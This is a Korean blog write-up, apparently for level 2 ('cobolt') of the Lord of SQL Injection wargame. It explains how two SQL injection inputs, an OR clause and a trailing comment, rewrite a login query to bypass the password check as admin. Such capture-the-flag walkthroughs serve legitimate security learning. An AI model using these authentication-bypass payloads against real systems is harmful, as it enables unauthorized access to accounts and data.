본문 바로가기

Wargame/Lord Of SQL injection (eagle-jump)

[LOS] 2번 cobolt





이번에는 cobolt 사진을 클릭하면 코드가 나온다.




2번 문제는 GET 방식으로 받아온 id와 pw가 일치할 때의 테이블 칼럼 id에 있는 값이 admin이면 문제가 해결된다. 


이번에는 괄호가 필터링되기 때문에 pw 뒤에 뭘 입력할 수는 없다. 


그래서 나는 ?id=admin' or id='admin&pw= 라고 입력해주었다.


이렇게 입력해주면 쿼리문은 다음과 같이 바뀐다.





select id from prob_cobolt where (id='admin') or (id='admin' and pw=md5(''))


쿼리문에서 오른쪽 조건이 거짓이 되고 왼쪽 조건이 id='admin'일 경우를 찾아내기 때문에 $result['id']에 'admin이 존재한다.


뒤에 pw를 주석처리해서 문제를 해결할 수도 있다.


?id=admin' --%20 


이렇게 입력해주면 쿼리문이 다음과 같이 바뀐다.




select id from prob_cobolt where id='admin' -- ' and pw=md5('')


'--' 가 주석처리 하기 때문에 뒤에 내용들이 인식되지 않는다. 


-- 뒤에는 공백이 있어야 주석처리가 되기 때문에 공백을 url 인코딩한 %20을 넣어주어야 한다.


두 가지 방법으로 문제를 해결할 수 있다.

'Wargame > Lord Of SQL injection (eagle-jump)' 카테고리의 다른 글

[LOS] 6번 darkelf  (0) 2017.08.14
[LOS] 5번 wolfman  (0) 2017.08.14
[LOS] 4번 orc  (0) 2017.08.14
[LOS] 3번 goblin  (0) 2017.08.02
[LOS] 1번 gremlin  (0) 2017.08.02